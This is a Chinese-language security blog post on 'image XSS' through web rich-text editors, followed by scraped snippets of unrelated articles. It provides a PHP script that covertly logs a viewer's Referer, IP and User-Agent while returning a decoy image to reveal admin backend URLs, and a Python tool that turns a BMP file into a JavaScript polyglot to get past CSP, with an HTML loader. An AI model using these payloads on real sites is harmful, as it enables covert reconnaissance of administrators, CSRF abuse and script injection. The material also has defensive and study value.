图片xss的利用方法

  在使用类似ueditor这样的网页编辑器时,由于编辑器本身支持的源码编辑功能,如果过滤的不够完善,攻击者可以通过写入js来执行脚本语句,达成存储型xss的效果。

  当然,如今的编辑器安全方面做的都已经相当不错,能够自动触发的恶意脚本已经是很难写入了,剩下还比较容易受控的,就是点击触发的外部链接了。前段时间,我就在尝试利用了外部链接进行csrf时,小伙伴提醒我可以尝试一下图片xss的方法,该方法和恶意外部链接的手段差不多,就是在编辑器引入外部图片的src地址时,修改为一个恶意地址,由于图片自动加载的特性,审核人员在查看该页面时会总动触发该请求,如果该请求是一个有效的csrf,就可以在无声无息间~~~~。

  感觉不算是一个漏洞,实际的利用还是要结合其他诸如csrf漏洞,而且由于是在img标签的src里,如果请求的页面里有什么js脚本也不会被执行,所以顶多只能搞搞get类型的csrf,所以貌似危害不是很大,也不太好处理。后来小伙伴又提出了jsonp劫持的概念,表示没有研究过,貌似和csrf差不大多。

  为了探究它还能做什么,我稍稍研究了一番。简单记录一下:

#0x01 CSRF

  csrf不需要细说了,使用条件比较苛刻,不过我在某站后台里确实找到get型的csrf利用,可以删除除管理员外的其他用户数据。

#0x02 打后台地址

  在别人博客上看到有提到可以用这种图片xss拿别人后台,没看到具体的方法,不过博主提到是用Php伪造了一张图片,且这种方法无法拿cookie,只能获取后台、浏览器、IP地址之类的信息。

  没看到代码只好自己寻思,无法拿cookie说明并没有同源的脚本执行,后台地址、浏览器、IP地址之类其实就是Header头,而header头信息是访问请求里自带的,然后用Php脚本提取出来并记录。

  想到就做,用自己蹩脚的Php实现了一下:

<?php

	$keys=array(‘HTTP_REFERER‘,‘REMOTE_ADDR‘,‘HTTP_USER_AGENT‘);

	//file_put_contents(‘result‘,$_SERVER);

	$headers=‘‘;

	foreach($_SERVER as $key=>$value){

		if(in_array($key,$keys)){

			$headers.=‘|‘.$key.‘:‘.$value;

			//echo $headers;

		}

	}

	file_put_contents(‘result‘,$headers."\n",FILE_APPEND);
	echo file_get_contents(‘test.jpg‘);

?>

  为了不引起怀疑,还特地返回了一张图片。

  测试了下效果(<img src="http://192.168.124.129:8888/test.php"/>),你打开网页看到图片的同时,对方已经拿到你的地址了。

  如果你当前是在管理员页面做审核,你的管理员地址就暴露了。

  不过有些网站做了meta referer设置,referer就抓不到了。

#0x03 另一种情景的图片执行js

  在绕过csp时可能会用到,如果网站阻止了外域js,可以通过上传一个可执行Js语法的图片来造成xss。

大佬的代码:

#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
        f = open(fname,"r+b")
        b = f.read()
        f.close()

        f = open(fname,"w+b")
        f.write(b)
        f.seek(2,0)
        f.write(b‘\x2F\x2A‘)
        f.close()

        f = open(fname,"a+b")
        f.write(b‘\xFF\x2A\x2F\x3D\x31\x3B‘)
        f.write(payload)
        f.close()
        return True

if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("filename",help="the bmp file name to infected")
        parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
        args = parser.parse_args()
        injectFile(args.js_payload,args.filename)

  主要是通过修改文件结构让图片变成符合js语法的文件。

<html>
<head><title>Opening an image</title> </head>
<body>
	<img src="logo.bmp"\>
	<script src= "logo.bmp"> </script>
</body>
</html> 

尝试后, 图片既可以显示又可以执行js语句。原因似乎是因为浏览器在进行content种别判断时,不单考虑content_type,还会根据content的内容进行判断。

ps:有些图片无法成功,原因是注释掉的中间图片本身内容破坏了会破坏js结构。

#0x04参考

  https://blog.csdn.net/qq_27446553/article/details/45498489

  http://xdxd.love/2015/04/10/csp%E7%BB%95%E8%BF%87/

  https://woj.app/1785.html

  https://blog.csdn.net/microad_liy/article/details/6733847

原文地址:https://www.cnblogs.com/apossin/p/10169890.html

时间: 2024-10-12 06:50:38

图片xss的利用方法的相关文章

Android TextView里直接显示图片的三种方法

方法一:重写TextView的onDraw方法,也挺直观就是不太好控制显示完图片后再显示字体所占空间的位置关系.一般如果字体是在图片上重叠的推荐这样写.时间关系,这个不付源码了. 方法二:利用TextView支持部分Html的特性,直接用api赋图片.代码如下: //第一种方法在TextView中显示图片 String html = "<img src='" + R.drawable.circle + "'/>"; ImageGetter imgGett

移动端图片文字垂直居中实现方法

最近在开发微信公众号的时候遇到图片与文字居中的问题.例如我们要实现类似以下这样效果: 或者. 在开发过程中, 可能我本身代码原因或者兼容原因,在ios和安卓端很难完全实现这样的居中效果. 为了实现这样的写法,同时兼容ios与安卓端,我采用了以下三种方法来实现(以下代码我只写主要的属性,具体样式大家各自根据自己需求添加): 一.display:table和display:table-cell使用: 例如: 1 <div style="display:table:vertical-align:

进行图片转文字简单方法是什么

由于科技的快速发展,进行图片转文字不仅可以在电脑上实现了,在手机上同样也能实现,其实二者的方法是差不多的,都是借助文字识别工具去实现.专业的图片转文字软件和方法,可以帮助我们节约很多时间,提高我们的工作效率,在网上有一个迅捷OCR文字识别软件的工具,可以帮助我们便捷的实现图片转文字相关问题.工具的特点简介:这个OCR文字识别工具可以识别很格式的图片.方法也是很简单的,文字识别工具的工作原理是利用光学字符技术去实现图片转文字.电脑实现图片转文字的方法:第一步:在电脑上打开文字识别工具,大家可以通过

ios图片拉伸两种方法

ios图片拉伸两种方法 UIImage *image = [UIImage imageNamed:@"qq"]; 第一种: // 左端盖宽度 NSInteger leftCapWidth = image.size.width * 0.5f; // 顶端盖高度 NSInteger topCapHeight = image.size.height * 0.5f; // 重新赋值 image = [image stretchableImageWithLeftCapWidth:leftCapW

【漏洞预警】CVE-2017-8464 震网三代漏洞复现(两种利用方法)

早在6月13日,微软发布补丁修复编号为CVE-2017-8464的漏洞,本地用户或远程攻击者可以利用该漏洞生成特制的快捷方式,并通过可移动设备或者远程共享的方式导致远程代码执行,追溯到以前,NSA就承认利用过相似漏洞且以“Olympic Game”为代号研发震网病毒,来阻止伊朗发展核武. 受影响版本 Windows 7 Windows 8.1 Windows RT 8.1 Windows 10 Windows Server 2008 Windows Server 2008 R2 Windows

Mysql注入点在limit关键字后面的利用方法

描写sql注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景. 细节 在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样: SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点] 问题的关键在于,语句中有order by 关键字,我们知道,mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面

DISCUZ论坛添加页头及页尾背景图片的几种方法

先给大家分享页头添加背景图片的两种方法: 1. 第一种效果,是给discuz的整体框架添加背景图片,见图示: 添加方法如下:找到你现在使用模板common文件下的header.html文件,在<head></head>部分添加以下代码: <style>body { background-image:url(你的背景图片地址,如http://abc.com/imgs/bg.jpg); background-repeat:no-repeat; background-posi

【转载】Mysql注入点在limit关键字后面的利用方法

描写sql注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景. 细节 在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样: SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点] 问题的关键在于,语句中有order by 关键字,我们知道,mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面

在数据库中 存储图片 以及 在界面中显示图片(存储图片路径)- 这种方法相对与存储二进制文件好

花了一下午时间,终于学会了在数据库中存储图片,以及在界面中显示图片了. 存储图片有两种方法: 一种是:直接把图片转换成二进制文件存储在数据库中. 一种是:存储图片的路径到数据库,用的时候直接调用路径给image等图像控件即可. 两种方法,有利有弊,第一种方法适合存储量少且重要的图片信息.第二种方法适合存储量大但不是太重要的图片. 我使用的是第二种方法,简单,实用. 下面就是我具体的实现过程: 首先我新建了两个网页文件,insert_photo.aspx / select_photo.apsx 第